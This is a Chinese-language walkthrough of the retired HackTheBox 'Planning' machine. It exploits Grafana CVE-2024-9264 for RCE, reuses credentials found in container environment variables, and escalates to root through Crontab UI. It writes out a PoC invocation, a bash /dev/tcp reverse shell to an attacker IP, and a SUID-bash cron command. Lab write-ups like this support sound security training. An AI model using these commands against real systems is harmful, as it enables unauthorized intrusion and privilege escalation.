利用Grafana漏洞实现容器逃逸与权限提升

本文详细介绍了在HackTheBox的Planning靶机中,如何利用Grafana的CVE-2024-9264漏洞实现SQL注入和远程代码执行,进而通过环境变量获取SSH凭证实现容器逃逸,最终利用Crontab-UI服务获得root权限的完整攻击链。

HTB: Planning

概述

Planning靶机提供了一个存在CVE-2024-9264漏洞的Grafana实例,该漏洞是DuckDB中的SQL注入漏洞,可导致远程代码执行。通过利用此漏洞在Grafana容器中获得root shell,从环境变量中发现凭据,并使用这些凭据通过SSH横向移动到主机。在主机上发现Crontab UI实例,从备份cron任务中获取凭据,并利用它创建自己的root cron任务以获得执行权限。

靶机信息

名称 Planning
发布日期 2025年5月10日
退役日期 2025年9月13日
操作系统 Linux
难度 简单 [20]

场景: 如同现实生活中的渗透测试一样,您将使用以下账户凭据开始Planning靶机:admin / 0D5oT70Fq13EvB5r

侦察

初始扫描

nmap发现两个开放的TCP端口:SSH (22) 和 HTTP (80):

1
2
3
4
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.68
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

基于OpenSSH和nginx版本,主机可能运行Ubuntu 24.04。网站重定向到planning.htb。

初始凭据

提供的凭据admin / 0D5oT70Fq13EvB5r不能用于SSH登录,需要找到合适的使用位置。

子域名暴力破解

使用ffuf发现子域名grafana.planning.htb:

1
2
oxdf@hacky$ ffuf -u http://10.10.11.68 -H "Host: FUZZ.planning.htb" -w wordlist.txt
grafana                 [Status: 302]

planning.htb - TCP 80

网站

该网站是一个在线教育平台,包含About、Courses、Contact等页面。Contact页面有表单但提交不发送数据。Enroll页面有注册表单,提交后显示确认信息。

技术栈

URL显示网站使用PHP。404页面是默认的nginx页面。

目录暴力破解

使用feroxbuster扫描发现多个PHP文件,但无特别有趣的发现。

grafana.planning.htb

网站

该子域名提供Grafana登录页面。使用提供的凭据admin / 0D5oT70Fq13EvB5r成功登录。

技术栈

登录页脚显示版本为11.0.0。

容器中的root shell

CVE-2024-9264

识别漏洞

Grafana 11.0.0存在CVE-2024-9264漏洞。该漏洞是DuckDB中的SQL注入漏洞,如果DuckDB已安装并在$PATH变量中,可利用此漏洞实现RCE。

利用

使用nollium的POC exploit:

1
2
oxdf@hacky$ git clone https://github.com/nollium/CVE-2024-9264
oxdf@hacky$ uv run CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c id http://grafana.planning.htb

成功执行id命令,确认Grafana以root权限运行。

获取shell

运行反向shell:

1
oxdf@hacky$ uv run CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c 'bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"' http://grafana.planning.htb

获得root shell。

枚举

容器环境

确认在Docker容器中(存在.dockerenv文件)。容器IP为172.17.0.2,运行Ubuntu 22.04。

环境变量

env命令显示环境变量,包含Grafana管理员凭据:

1
2
GF_SECURITY_ADMIN_USER=enzo
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!

SSH访问

使用发现的凭据通过SSH登录主机:

1
oxdf@hacky$ sshpass -p 'RioTecRANDEntANT!' ssh enzo@planning.htb

获取user.txt标志。

权限提升

枚举

用户

enzo是唯一具有shell的非root用户。

Web配置

nginx配置显示两个站点:planning.htb和grafana.planning.htb(代理到Grafana容器)。

/opt目录

/opt/crontabs/crontab.db包含JSON格式的cron任务数据:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
  "name": "Grafana backup",
  "command": "/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz",
  "schedule": "@daily"
}
{
  "name": "Cleanup", 
  "command": "/root/scripts/cleanup.sh",
  "schedule": "* * * * *"
}

发现zip密码"P4ssw0rdS0pRi0T3c"。

监听端口

发现本地端口8000运行需要HTTP基本认证的服务。

Crontab UI

隧道访问

通过SSH隧道访问本地端口8000:

1
oxdf@hacky$ ssh -L 9001:localhost:8000 enzo@planning.htb

认证

使用root / P4ssw0rdS0pRi0T3c成功登录Crontab UI。

利用

创建新的cron任务:

  • 名称:任意
  • 计划:任意
  • 命令:cp /bin/bash /tmp/0xdf && chmod +s /tmp/0xdf

点击"Run now"执行,创建具有SUID权限的bash副本:

1
2
enzo@planning:~$ /tmp/0xdf -p
0xdf-5.2# 

成功获得root shell,获取root.txt标志。

额外信息

Grafana Swagger

Grafana在/swagger-ui提供API文档,可使用凭据交互执行查询。

Crontab UI配置

Crontab UI的认证凭据在systemd服务文件中设置:

1
2
Environment="BASIC_AUTH_USER=root"
Environment="BASIC_AUTH_PWD=P4ssw0rdS0pRi0T3c"
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计